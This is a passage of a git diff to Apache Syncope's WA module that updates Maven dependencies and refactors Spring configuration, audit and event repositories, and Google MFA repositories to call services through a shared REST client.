cas-server-core-authentication-attributes + cas-server-support-swagger org.apereo.cas @@ -332,6 +334,10 @@ under the License. org.apereo.cas cas-server-support-surrogate-api + + org.apereo.cas + cas-server-support-x509-webflow + org.springframework.boot @@ -366,11 +372,6 @@ under the License. commons-codec - - com.squareup.okio - okio - - org.apache.cxf cxf-rt-transports-http-jetty @@ -390,17 +391,17 @@ under the License. org.springframework.boot - spring-boot-starter-tomcat + spring-boot-starter-undertow test - org.springframework.boot - spring-boot-starter-test + org.awaitility + awaitility test - org.junit.jupiter - junit-jupiter + org.springframework.boot + spring-boot-starter-test test @@ -426,6 +427,16 @@ under the License. + + org.apache.maven.plugins + maven-surefire-plugin + + + ${project.build.directory}/test-classes + + + + org.apache.maven.plugins maven-checkstyle-plugin @@ -491,6 +502,7 @@ under the License. -Djavax.net.ssl.trustStore=${basedir}/../../fit/wa-reference/src/test/resources/keystore.jks -Djavax.net.ssl.trustStorePassword=password + -Dsyncope.conf.dir=${project.build.directory}/test-classes -Xdebug -Xrunjdwp:transport=dt_socket,address=8001,server=y,suspend=n diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/actuate/SyncopeCoreHealthIndicator.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/actuate/SyncopeCoreHealthIndicator.java index d2bf0a475e8..a2aeeaaf9cf 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/actuate/SyncopeCoreHealthIndicator.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/actuate/SyncopeCoreHealthIndicator.java @@ -41,7 +41,7 @@ public Health health() { Health.Builder builder = new Health.Builder(); try { - waRestClient.getSyncopeClient().getService(UserSelfService.class).read(); + waRestClient.getService(UserSelfService.class).read(); builder.status(Status.UP); } catch (Exception e) { LOG.debug("When attempting to connect to Syncope Core", e); diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/audit/WAAuditTrailManager.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/audit/WAAuditTrailManager.java index f4119a8065d..25005f3d1c5 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/audit/WAAuditTrailManager.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/audit/WAAuditTrailManager.java @@ -23,7 +23,6 @@ import java.util.Map; import java.util.Set; import org.apache.commons.lang3.StringUtils; -import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.common.lib.audit.AuditEntry; import org.apache.syncope.common.lib.types.AuditElements; import org.apache.syncope.common.lib.types.AuditLoggerName; @@ -43,8 +42,7 @@ public WAAuditTrailManager(final WARestClient restClient) { @Override protected void saveAuditRecord(final AuditActionContext audit) { - SyncopeClient syncopeClient = waRestClient.getSyncopeClient(); - if (syncopeClient == null) { + if (!waRestClient.isReady()) { LOG.debug("Syncope client is not yet ready to store audit record"); return; } @@ -71,7 +69,7 @@ protected void saveAuditRecord(final AuditActionContext audit) { audit.getActionPerformed(), result); auditEntry.setLogger(auditLogger); - syncopeClient.getService(AuditService.class).create(auditEntry); + waRestClient.getService(AuditService.class).create(auditEntry); } catch (JsonProcessingException e) { LOG.error("During serialization", e); } diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/config/WAContext.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/config/WAContext.java index 9a91ba02606..3a66274c86d 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/config/WAContext.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/config/WAContext.java @@ -18,6 +18,7 @@ */ package org.apache.syncope.wa.starter.config; +import com.github.benmanes.caffeine.cache.Cache; import com.github.benmanes.caffeine.cache.Caffeine; import com.github.benmanes.caffeine.cache.LoadingCache; import com.warrenstrange.googleauth.IGoogleAuthenticator; @@ -25,43 +26,46 @@ import io.swagger.v3.oas.models.info.Contact; import io.swagger.v3.oas.models.info.Info; import io.swagger.v3.oas.models.security.SecurityScheme; +import java.io.Serializable; import java.time.OffsetDateTime; import java.util.ArrayList; -import java.util.HashMap; import java.util.List; -import java.util.Map; import java.util.Optional; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.common.keymaster.client.api.model.NetworkService; import org.apache.syncope.common.keymaster.client.api.startstop.KeymasterStart; import org.apache.syncope.common.keymaster.client.api.startstop.KeymasterStop; +import org.apache.syncope.common.lib.types.IdRepoEntitlement; import org.apache.syncope.wa.bootstrap.WAProperties; import org.apache.syncope.wa.bootstrap.WARestClient; +import org.apache.syncope.wa.bootstrap.mapping.AttrReleaseMapper; import org.apache.syncope.wa.starter.actuate.SyncopeCoreHealthIndicator; import org.apache.syncope.wa.starter.actuate.SyncopeWAInfoContributor; import org.apache.syncope.wa.starter.audit.WAAuditTrailManager; import org.apache.syncope.wa.starter.events.WAEventRepository; import org.apache.syncope.wa.starter.gauth.WAGoogleMfaAuthCredentialRepository; import org.apache.syncope.wa.starter.gauth.WAGoogleMfaAuthTokenRepository; -import org.apache.syncope.wa.starter.mapping.AccessMapFor; import org.apache.syncope.wa.starter.mapping.AccessMapper; -import org.apache.syncope.wa.starter.mapping.AttrReleaseMapFor; -import org.apache.syncope.wa.starter.mapping.AttrReleaseMapper; -import org.apache.syncope.wa.starter.mapping.AuthMapFor; import org.apache.syncope.wa.starter.mapping.AuthMapper; import org.apache.syncope.wa.starter.mapping.CASSPClientAppTOMapper; -import org.apache.syncope.wa.starter.mapping.ClientAppMapFor; import org.apache.syncope.wa.starter.mapping.ClientAppMapper; import org.apache.syncope.wa.starter.mapping.DefaultAccessMapper; -import org.apache.syncope.wa.starter.mapping.DefaultAttrReleaseMapper; import org.apache.syncope.wa.starter.mapping.DefaultAuthMapper; +import org.apache.syncope.wa.starter.mapping.DefaultTicketExpirationMapper; +import org.apache.syncope.wa.starter.mapping.HttpRequestAccessMapper; import org.apache.syncope.wa.starter.mapping.OIDCRPClientAppTOMapper; import org.apache.syncope.wa.starter.mapping.RegisteredServiceMapper; +import org.apache.syncope.wa.starter.mapping.RemoteEndpointAccessMapper; import org.apache.syncope.wa.starter.mapping.SAML2SPClientAppTOMapper; +import org.apache.syncope.wa.starter.mapping.TicketExpirationMapper; +import org.apache.syncope.wa.starter.mapping.TimeBasedAccessMapper; +import org.apache.syncope.wa.starter.mfa.WAMultifactorAuthenticationTrustStorage; import org.apache.syncope.wa.starter.oidc.WAOIDCJWKSGeneratorService; import org.apache.syncope.wa.starter.pac4j.saml.WASAML2ClientCustomizer; -import org.apache.syncope.wa.starter.saml.idp.metadata.RestfulSamlIdPMetadataGenerator; -import org.apache.syncope.wa.starter.saml.idp.metadata.RestfulSamlIdPMetadataLocator; +import org.apache.syncope.wa.starter.saml.idp.WASamlIdPCasEventListener; +import org.apache.syncope.wa.starter.saml.idp.metadata.WASamlIdPMetadataCacheRefresher; +import org.apache.syncope.wa.starter.saml.idp.metadata.WASamlIdPMetadataGenerator; +import org.apache.syncope.wa.starter.saml.idp.metadata.WASamlIdPMetadataLocator; import org.apache.syncope.wa.starter.services.WAServiceRegistry; import org.apache.syncope.wa.starter.surrogate.WASurrogateAuthenticationService; import org.apache.syncope.wa.starter.u2f.WAU2FDeviceRepository; @@ -69,6 +73,7 @@ import org.apereo.cas.adaptors.u2f.storage.U2FDeviceRepository; import org.apereo.cas.audit.AuditTrailExecutionPlanConfigurer; import org.apereo.cas.authentication.AuthenticationEventExecutionPlan; +import org.apereo.cas.authentication.MultifactorAuthenticationProvider; import org.apereo.cas.authentication.surrogate.SurrogateAuthenticationService; import org.apereo.cas.configuration.CasConfigurationProperties; import org.apereo.cas.configuration.model.support.mfa.gauth.LdapGoogleAuthenticatorMultifactorProperties; @@ -82,9 +87,13 @@ import org.apereo.cas.support.events.CasEventRepositoryFilter; import org.apereo.cas.support.pac4j.authentication.clients.DelegatedClientFactoryCustomizer; import org.apereo.cas.support.pac4j.authentication.handler.support.DelegatedClientAuthenticationHandler; +import org.apereo.cas.support.saml.idp.SamlIdPCasEventListener; import org.apereo.cas.support.saml.idp.metadata.generator.SamlIdPMetadataGenerator; import org.apereo.cas.support.saml.idp.metadata.generator.SamlIdPMetadataGeneratorConfigurationContext; import org.apereo.cas.support.saml.idp.metadata.locator.SamlIdPMetadataLocator; +import org.apereo.cas.support.saml.services.idp.metadata.SamlIdPMetadataDocument; +import org.apereo.cas.trusted.authentication.api.MultifactorAuthenticationTrustRecordKeyGenerator; +import org.apereo.cas.trusted.authentication.api.MultifactorAuthenticationTrustStorage; import org.apereo.cas.util.DateTimeUtils; import org.apereo.cas.util.LdapUtils; import org.apereo.cas.util.crypto.CipherExecutor; @@ -94,11 +103,18 @@ import org.springframework.beans.factory.ObjectProvider; import org.springframework.beans.factory.annotation.Qualifier; import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; import org.springframework.cloud.context.config.annotation.RefreshScope; +import org.springframework.context.ApplicationContext; import org.springframework.context.ConfigurableApplicationContext; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Lazy; import org.springframework.context.annotation.ScopedProxyMode; +import org.springframework.security.core.userdetails.User; +import org.springframework.security.core.userdetails.UserDetails; +import org.springframework.security.core.userdetails.UserDetailsService; +import org.springframework.security.provisioning.InMemoryUserDetailsManager; @Configuration(proxyBeanMethods = false) public class WAContext { @@ -128,24 +144,42 @@ public OpenAPI casSwaggerOpenApi(final ConfigurableApplicationContext ctx) { new SecurityScheme().type(SecurityScheme.Type.HTTP).scheme("bearer").bearerFormat("JWT")); } - @ConditionalOnMissingBean(name = "accessMapper") + @ConditionalOnMissingBean @Bean - public AccessMapper accessMapper() { + public AccessMapper defaultAccessMapper() { return new DefaultAccessMapper(); } - @ConditionalOnMissingBean(name = "attrReleaseMapper") + @ConditionalOnMissingBean + @Bean + public HttpRequestAccessMapper httpRequestAccessMapper() { + return new HttpRequestAccessMapper(); + } + + @ConditionalOnMissingBean @Bean - public AttrReleaseMapper attrReleaseMapper() { - return new DefaultAttrReleaseMapper(); + public RemoteEndpointAccessMapper remoteEndpointAccessMapper() { + return new RemoteEndpointAccessMapper(); } - @ConditionalOnMissingBean(name = "authMapper") + @ConditionalOnMissingBean + @Bean + public TimeBasedAccessMapper timeBasedAccessMapper() { + return new TimeBasedAccessMapper(); + } + + @ConditionalOnMissingBean @Bean public AuthMapper authMapper() { return new DefaultAuthMapper(); } + @ConditionalOnMissingBean + @Bean + public TicketExpirationMapper ticketExpirationMapper() { + return new DefaultTicketExpirationMapper(); + } + @ConditionalOnMissingBean(name = "casSPClientAppTOMapper") @Bean public ClientAppMapper casSPClientAppTOMapper() { @@ -168,52 +202,25 @@ public ClientAppMapper saml2SPClientAppTOMapper() { @ConditionalOnMissingBean @Bean public RegisteredServiceMapper registeredServiceMapper( - final ConfigurableApplicationContext ctx, final CasConfigurationProperties casProperties, - final ObjectProvider authenticationEventExecutionPlan) { - - Map authPolicyConfMappers = new HashMap<>(); - ctx.getBeansOfType(AuthMapper.class).forEach((name, bean) -> { - AuthMapFor authMapFor = ctx.findAnnotationOnBean(name, AuthMapFor.class); - if (authMapFor != null) { - authPolicyConfMappers.put(authMapFor.authPolicyConfClass().getName(), bean); - } - }); - - Map accessPolicyConfMappers = new HashMap<>(); - ctx.getBeansOfType(AccessMapper.class).forEach((name, bean) -> { - AccessMapFor accessMapFor = ctx.findAnnotationOnBean(name, AccessMapFor.class); - if (accessMapFor != null) { - accessPolicyConfMappers.put(accessMapFor.accessPolicyConfClass().getName(), bean); - } - }); - - Map attrReleasePolicyConfMappers = new HashMap<>(); - ctx.getBeansOfType(AttrReleaseMapper.class).forEach((name, bean) -> { - AttrReleaseMapFor attrReleaseMapFor = - ctx.findAnnotationOnBean(name, AttrReleaseMapFor.class); - if (attrReleaseMapFor != null) { - attrReleasePolicyConfMappers.put(attrReleaseMapFor.attrReleasePolicyConfClass().getName(), bean); - } - }); - - Map clientAppTOMappers = new HashMap<>(); - ctx.getBeansOfType(ClientAppMapper.class).forEach((name, bean) -> { - ClientAppMapFor clientAppMapFor = ctx.findAnnotationOnBean(name, ClientAppMapFor.class); - if (clientAppMapFor != null) { - clientAppTOMappers.put(clientAppMapFor.clientAppClass().getName(), bean); - } - }); + final ObjectProvider authenticationEventExecutionPlan, + final List multifactorAuthenticationProviders, + final List authMappers, + final List accessMappers, + final List attrReleaseMappers, + final List ticketExpirationMappers, + final List clientAppMappers) { return new RegisteredServiceMapper( - ctx, Optional.ofNullable(casProperties.getAuthn().getPac4j().getCore().getName()). orElse(DelegatedClientAuthenticationHandler.class.getSimpleName()), authenticationEventExecutionPlan, - authPolicyConfMappers, - accessPolicyConfMappers, - attrReleasePolicyConfMappers, - clientAppTOMappers); + multifactorAuthenticationProviders, + authMappers, + accessMappers, + attrReleaseMappers, + ticketExpirationMappers, + clientAppMappers); } @RefreshScope(proxyMode = ScopedProxyMode.DEFAULT) @@ -221,39 +228,67 @@ public RegisteredServiceMapper registeredServiceMapper( @Bean public ServiceRegistryExecutionPlanConfigurer syncopeServiceRegistryConfigurer( final ConfigurableApplicationContext ctx, - final WARestClient restClient, + final WARestClient waRestClient, final RegisteredServiceMapper registeredServiceMapper, @Qualifier("serviceRegistryListeners") final ObjectProvider> serviceRegistryListeners) { WAServiceRegistry registry = new WAServiceRegistry( - restClient, registeredServiceMapper, ctx, + waRestClient, registeredServiceMapper, ctx, Optional.ofNullable(serviceRegistryListeners.getIfAvailable()).orElseGet(ArrayList::new)); return plan -> plan.registerServiceRegistry(registry); } + @Bean + @RefreshScope(proxyMode = ScopedProxyMode.DEFAULT) + @Lazy(false) + public SamlIdPCasEventListener samlIdPCasEventListener() { + return new WASamlIdPCasEventListener(); + } + @Bean public SamlIdPMetadataGenerator samlIdPMetadataGenerator( - final WARestClient restClient, + final WARestClient waRestClient, final SamlIdPMetadataGeneratorConfigurationContext context) { - return new RestfulSamlIdPMetadataGenerator(context, restClient); + return new WASamlIdPMetadataGenerator(context, waRestClient); + } + + @RefreshScope(proxyMode = ScopedProxyMode.DEFAULT) + @Bean + public Cache samlIdPMetadataCache() { + return Caffeine.newBuilder().build(); } @Bean - public SamlIdPMetadataLocator samlIdPMetadataLocator(final WARestClient restClient) { - return new RestfulSamlIdPMetadataLocator( - CipherExecutor.noOpOfStringToString(), - Caffeine.newBuilder().build(), - restClient); + public SamlIdPMetadataLocator samlIdPMetadataLocator( + @Qualifier("samlIdPMetadataGeneratorCipherExecutor") + final CipherExecutor cipherExecutor, + @Qualifier("samlIdPMetadataCache") + final Cache samlIdPMetadataCache, + final WARestClient waRestClient) { + + return new WASamlIdPMetadataLocator( + cipherExecutor, + samlIdPMetadataCache, + waRestClient); } + @ConditionalOnMissingBean @Bean - public AuditTrailExecutionPlanConfigurer auditConfigurer(final WARestClient restClient) { - return plan -> plan.registerAuditTrailManager(new WAAuditTrailManager(restClient)); + public WASamlIdPMetadataCacheRefresher samlIdPMetadataCacheRefresher( + @Qualifier("samlIdPMetadataCache") + final Cache samlIdPMetadataCache) { + + return new WASamlIdPMetadataCacheRefresher(samlIdPMetadataCache); } - @ConditionalOnMissingBean(name = "syncopeWAEventRepositoryFilter") + @Bean + public AuditTrailExecutionPlanConfigurer auditConfigurer(final WARestClient waRestClient) { + return plan -> plan.registerAuditTrailManager(new WAAuditTrailManager(waRestClient)); + } + + @ConditionalOnMissingBean @Bean public CasEventRepositoryFilter syncopeWAEventRepositoryFilter() { return CasEventRepositoryFilter.noOp(); @@ -261,25 +296,25 @@ public CasEventRepositoryFilter syncopeWAEventRepositoryFilter() { @Bean public CasEventRepository casEventRepository( - final WARestClient restClient, + final WARestClient waRestClient, @Qualifier("syncopeWAEventRepositoryFilter") final CasEventRepositoryFilter syncopeWAEventRepositoryFilter) { - return new WAEventRepository(syncopeWAEventRepositoryFilter, restClient); + return new WAEventRepository(syncopeWAEventRepositoryFilter, waRestClient); } @Bean - public DelegatedClientFactoryCustomizer delegatedClientCustomizer(final WARestClient restClient) { - return new WASAML2ClientCustomizer(restClient); + public DelegatedClientFactoryCustomizer delegatedClientCustomizer(final WARestClient waRestClient) { + return new WASAML2ClientCustomizer(waRestClient); } @Bean public WAGoogleMfaAuthTokenRepository oneTimeTokenAuthenticatorTokenRepository( final CasConfigurationProperties casProperties, - final WARestClient restClient) { + final WARestClient waRestClient) { return new WAGoogleMfaAuthTokenRepository( - restClient, casProperties.getAuthn().getMfa().getGauth().getCore().getTimeStepSize()); + waRestClient, casProperties.getAuthn().getMfa().getGauth().getCore().getTimeStepSize()); } @ConditionalOnMissingBean(name = CUSTOM_GOOGLE_AUTHENTICATOR_ACCOUNT_REGISTRY) @@ -292,7 +327,7 @@ public OneTimeTokenCredentialRepository googleAuthenticatorAccountRegistry( @Qualifier("googleAuthenticatorScratchCodesCipherExecutor") final CipherExecutor googleAuthenticatorScratchCodesCipherExecutor, final IGoogleAuthenticator googleAuthenticatorInstance, - final WARestClient restClient) { + final WARestClient waRestClient) { /* * Declaring the LDAP-based repository as a Spring bean that would be conditionally activated @@ -314,33 +349,52 @@ public OneTimeTokenCredentialRepository googleAuthenticatorAccountRegistry( connectionFactory, ldap); } - return new WAGoogleMfaAuthCredentialRepository(restClient, googleAuthenticatorInstance); + return new WAGoogleMfaAuthCredentialRepository(waRestClient, googleAuthenticatorInstance); + } + + @RefreshScope(proxyMode = ScopedProxyMode.DEFAULT) + @Bean(name = MultifactorAuthenticationTrustStorage.BEAN_NAME) + public MultifactorAuthenticationTrustStorage mfaTrustStorage( + final CasConfigurationProperties casProperties, + @Qualifier("mfaTrustRecordKeyGenerator") + final MultifactorAuthenticationTrustRecordKeyGenerator keyGenerationStrategy, + @Qualifier("mfaTrustCipherExecutor") + final CipherExecutor mfaTrustCipherExecutor, + final WARestClient waRestClient) { + + return new WAMultifactorAuthenticationTrustStorage( + casProperties.getAuthn().getMfa().getTrusted(), + mfaTrustCipherExecutor, + keyGenerationStrategy, + waRestClient); } @Bean public OidcJsonWebKeystoreGeneratorService oidcJsonWebKeystoreGeneratorService( final CasConfigurationProperties casProperties, - final WARestClient restClient) { + final WARestClient waRestClient, + final ApplicationContext applicationContext) { return new WAOIDCJWKSGeneratorService( - restClient, + waRestClient, casProperties.getAuthn().getOidc().getJwks().getCore().getJwksKeyId(), casProperties.getAuthn().getOidc().getJwks().getCore().getJwksType(), - casProperties.getAuthn().getOidc().getJwks().getCore().getJwksKeySize()); + casProperties.getAuthn().getOidc().getJwks().getCore().getJwksKeySize(), + applicationContext); } @Bean public WebAuthnCredentialRepository webAuthnCredentialRepository( final CasConfigurationProperties casProperties, - final WARestClient restClient) { + final WARestClient waRestClient) { - return new WAWebAuthnCredentialRepository(casProperties, restClient); + return new WAWebAuthnCredentialRepository(casProperties, waRestClient); } @Bean public U2FDeviceRepository u2fDeviceRepository( final CasConfigurationProperties casProperties, - final WARestClient restClient) { + final WARestClient waRestClient) { U2FCoreMultifactorAuthenticationProperties u2f = casProperties.getAuthn().getMfa().getU2f().getCore(); OffsetDateTime expirationDate = OffsetDateTime.now(). @@ -348,18 +402,18 @@ public U2FDeviceRepository u2fDeviceRepository( LoadingCache requestStorage = Caffeine.newBuilder(). expireAfterWrite(u2f.getExpireRegistrations(), u2f.getExpireRegistrationsTimeUnit()). build(key -> StringUtils.EMPTY); - return new WAU2FDeviceRepository(casProperties, requestStorage, restClient, expirationDate); + return new WAU2FDeviceRepository(casProperties, requestStorage, waRestClient, expirationDate); } @Bean - public SurrogateAuthenticationService surrogateAuthenticationService(final WARestClient restClient) { - return new WASurrogateAuthenticationService(restClient); + public SurrogateAuthenticationService surrogateAuthenticationService(final WARestClient waRestClient) { + return new WASurrogateAuthenticationService(waRestClient); } @ConditionalOnMissingBean @Bean - public SyncopeCoreHealthIndicator syncopeCoreHealthIndicator(final WARestClient restClient) { - return new SyncopeCoreHealthIndicator(restClient); + public SyncopeCoreHealthIndicator syncopeCoreHealthIndicator(final WARestClient waRestClient) { + return new SyncopeCoreHealthIndicator(waRestClient); } @ConditionalOnMissingBean @@ -368,11 +422,25 @@ public SyncopeWAInfoContributor syncopeWAInfoContributor(final WAProperties waPr return new SyncopeWAInfoContributor(waProperties); } + @ConditionalOnMissingBean + @Bean + public UserDetailsService actuatorUserDetailsService(final WAProperties waProperties) { + UserDetails user = User.withUsername(waProperties.getAnonymousUser()). + password("{noop}" + waProperties.getAnonymousKey()). + roles(IdRepoEntitlement.ANONYMOUS). + build(); + return new InMemoryUserDetailsManager(user); + } + + @ConditionalOnProperty( + prefix = "keymaster", name = "enableAutoRegistration", havingValue = "true", matchIfMissing = true) @Bean public KeymasterStart keymasterStart() { return new KeymasterStart(NetworkService.Type.WA); } + @ConditionalOnProperty( + prefix = "keymaster", name = "enableAutoRegistration", havingValue = "true", matchIfMissing = true) @Bean public KeymasterStop keymasterStop() { return new KeymasterStop(NetworkService.Type.WA); diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/config/WARefreshContextJob.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/config/WARefreshContextJob.java index bca830d3def..06a72030640 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/config/WARefreshContextJob.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/config/WARefreshContextJob.java @@ -36,6 +36,9 @@ public class WARefreshContextJob implements Job { private static final Logger LOG = LoggerFactory.getLogger(WARefreshContextJob.class); + @Autowired + private WARestClient waRestClient; + @Autowired private ContextRefresher contextRefresher; @@ -46,7 +49,7 @@ public class WARefreshContextJob implements Job { public void execute(final JobExecutionContext jobExecutionContext) throws JobExecutionException { try { LOG.debug("Attempting to refresh WA application context"); - if (!WARestClient.isReady()) { + if (!waRestClient.isReady()) { LOG.debug("Syncope client is not yet ready"); throw new IllegalStateException("Syncope core is not yet ready to access requests"); } diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/events/WAEventRepository.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/events/WAEventRepository.java index f72ce185621..6355ba084f1 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/events/WAEventRepository.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/events/WAEventRepository.java @@ -27,7 +27,6 @@ import java.util.Map; import java.util.stream.Stream; import org.apache.commons.lang3.StringUtils; -import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.common.lib.audit.AuditEntry; import org.apache.syncope.common.lib.types.AuditElements; import org.apache.syncope.common.lib.types.AuditLoggerName; @@ -63,13 +62,12 @@ public void put(final Map properties, final String key, final St @Override public CasEvent saveInternal(final CasEvent event) { - SyncopeClient syncopeClient = waRestClient.getSyncopeClient(); - if (syncopeClient == null) { + if (!waRestClient.isReady()) { LOG.debug("Syncope client is not yet ready to store audit record"); return null; } - LOG.info("Saving Cas events"); + LOG.debug("Saving WA events"); try { Map properties = new HashMap<>(); if (event.getGeoLocation() != null) { @@ -97,7 +95,7 @@ public CasEvent saveInternal(final CasEvent event) { String.valueOf(event.getId()), AuditElements.Result.SUCCESS); auditEntry.setLogger(auditLogger); - syncopeClient.getService(AuditService.class).create(auditEntry); + waRestClient.getService(AuditService.class).create(auditEntry); } catch (JsonProcessingException e) { LOG.error("During serialization", e); } diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/gauth/WAGoogleMfaAuthCredentialRepository.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/gauth/WAGoogleMfaAuthCredentialRepository.java index e785ea29dd4..e5626187dda 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/gauth/WAGoogleMfaAuthCredentialRepository.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/gauth/WAGoogleMfaAuthCredentialRepository.java @@ -19,7 +19,7 @@ package org.apache.syncope.wa.starter.gauth; import com.warrenstrange.googleauth.IGoogleAuthenticator; -import java.time.OffsetDateTime; +import java.time.ZonedDateTime; import java.util.Collection; import java.util.List; import java.util.stream.Collectors; @@ -48,37 +48,22 @@ public WAGoogleMfaAuthCredentialRepository( this.waRestClient = waRestClient; } - protected GoogleMfaAuthAccount mapGoogleMfaAuthAccount(final OneTimeTokenAccount otta) { - return new GoogleMfaAuthAccount.Builder(). - registrationDate(OffsetDateTime.now()). - scratchCodes(otta.getScratchCodes().stream().map(Number::intValue).collect(Collectors.toList())). - validationCode(otta.getValidationCode()). - secretKey(otta.getSecretKey()). - id(otta.getId()). - build(); - } - protected GoogleAuthenticatorAccount mapGoogleMfaAuthAccount(final GoogleMfaAuthAccount gmfaa) { return GoogleAuthenticatorAccount.builder(). + id(gmfaa.getId()). + name(gmfaa.getName()). + username(gmfaa.getUsername()). secretKey(gmfaa.getSecretKey()). validationCode(gmfaa.getValidationCode()). scratchCodes(gmfaa.getScratchCodes().stream().map(Number::intValue).collect(Collectors.toList())). - name(gmfaa.getName()). - id(gmfaa.getId()). + registrationDate(gmfaa.getRegistrationDate()). build(); } - protected GoogleMfaAuthAccountService service() { - return waRestClient.getSyncopeClient().getService(GoogleMfaAuthAccountService.class); - } - @Override public OneTimeTokenAccount get(final long id) { try { - GoogleMfaAuthAccount account = service().read(id); - if (account != null) { - return mapGoogleMfaAuthAccount(account); - } + return mapGoogleMfaAuthAccount(waRestClient.getService(GoogleMfaAuthAccountService.class).read(id)); } catch (SyncopeClientException e) { if (e.getType() == ClientExceptionType.NotFound) { LOG.info("Could not locate account for id {}", id); @@ -92,7 +77,7 @@ public OneTimeTokenAccount get(final long id) { @Override public OneTimeTokenAccount get(final String username, final long id) { try { - return service().read(username). + return waRestClient.getService(GoogleMfaAuthAccountService.class).read(username). getResult().stream(). filter(account -> account.getId() == id). map(this::mapGoogleMfaAuthAccount). @@ -111,7 +96,7 @@ public OneTimeTokenAccount get(final String username, final long id) { @Override public Collection get(final String username) { try { - return service().read(username). + return waRestClient.getService(GoogleMfaAuthAccountService.class).read(username). getResult().stream(). map(this::mapGoogleMfaAuthAccount). collect(Collectors.toList()); @@ -127,43 +112,47 @@ public Collection get(final String username) { @Override public Collection load() { - return service().list(). + return waRestClient.getService(GoogleMfaAuthAccountService.class).list(). getResult().stream(). map(this::mapGoogleMfaAuthAccount). collect(Collectors.toList()); } - @Override - public OneTimeTokenAccount save(final OneTimeTokenAccount otta) { - GoogleMfaAuthAccount account = new GoogleMfaAuthAccount.Builder(). - registrationDate(OffsetDateTime.now()). - scratchCodes(otta.getScratchCodes().stream().map(Number::intValue).collect(Collectors.toList())). - validationCode(otta.getValidationCode()). - secretKey(otta.getSecretKey()). - name(otta.getName()). + protected GoogleMfaAuthAccount mapOneTimeTokenAccount(final OneTimeTokenAccount otta) { + return new GoogleMfaAuthAccount.Builder(). id(otta.getId()). + name(otta.getName()). + username(otta.getUsername()). + secretKey(otta.getSecretKey()). + validationCode(otta.getValidationCode()). + scratchCodes(otta.getScratchCodes().stream().map(Number::intValue).collect(Collectors.toList())). + registrationDate(ZonedDateTime.now()). build(); - waRestClient.getSyncopeClient(). - getService(GoogleMfaAuthAccountService.class).create(otta.getUsername(), account); - return mapGoogleMfaAuthAccount(account); + } + + @Override + public OneTimeTokenAccount save(final OneTimeTokenAccount otta) { + GoogleMfaAuthAccount account = mapOneTimeTokenAccount(otta); + waRestClient.getService(GoogleMfaAuthAccountService.class).create(account); + return otta; } @Override public OneTimeTokenAccount update(final OneTimeTokenAccount tokenAccount) { - GoogleMfaAuthAccount acct = mapGoogleMfaAuthAccount(tokenAccount); - service().update(tokenAccount.getUsername(), acct); + GoogleMfaAuthAccount acct = mapOneTimeTokenAccount(tokenAccount); + waRestClient.getService(GoogleMfaAuthAccountService.class).update(acct); return tokenAccount; } @Override public void deleteAll() { - service().deleteAll(); + waRestClient.getService(GoogleMfaAuthAccountService.class).deleteAll(); } @Override public void delete(final String username) { try { - service().delete(username); + waRestClient.getService(GoogleMfaAuthAccountService.class).delete(username); } catch (SyncopeClientException e) { if (e.getType() == ClientExceptionType.NotFound) { LOG.info("Could not locate account for owner {}", username); @@ -175,18 +164,18 @@ public void delete(final String username) { @Override public void delete(final long id) { - service().delete(id); + waRestClient.getService(GoogleMfaAuthAccountService.class).delete(id); } @Override public long count() { - return service().list().getTotalCount(); + return waRestClient.getService(GoogleMfaAuthAccountService.class).list().getTotalCount(); } @Override public long count(final String username) { try { - return service().read(username).getTotalCount(); + return waRestClient.getService(GoogleMfaAuthAccountService.class).read(username).getTotalCount(); } catch (SyncopeClientException e) { if (e.getType() == ClientExceptionType.NotFound) { LOG.info("Could not locate account for owner {}", username); diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/gauth/WAGoogleMfaAuthTokenRepository.java b/wa/starter/src/main/java/org/apache/syncope/wa/starter/gauth/WAGoogleMfaAuthTokenRepository.java index 74d33363b91..35a47f7724d 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/gauth/WAGoogleMfaAuthTokenRepository.java +++ b/wa/starter/src/main/java/org/apache/syncope/wa/starter/gauth/WAGoogleMfaAuthTokenRepository.java @@ -40,13 +40,10 @@ public WAGoogleMfaAuthTokenRepository(final WARestClient waRestClient, final lon this.expireTokensInSeconds = expireTokensInSeconds; } - protected GoogleMfaAuthTokenService service() { - return waRestClient.getSyncopeClient().getService(GoogleMfaAuthTokenService.class); - } - @Override protected void cleanInternal() { - service().delete(LocalDateTime.now().minusSeconds(expireTokensInSeconds)); + waRestClient.getService(GoogleMfaAuthTokenService.class). + delete(LocalDateTime.now().minusSeconds(expireTokensInSeconds)); } @Override @@ -55,13 +52,13 @@ public void store(final GoogleAuthenticatorToken token) { token(token.getToken()). issueDate(token.getIssuedDateTime()). build(); - service().store(token.getUserId(), tokenTO); + waRestClient.getService(GoogleMfaAuthTokenService.class).store(token.getUserId(), tokenTO); } @Override public 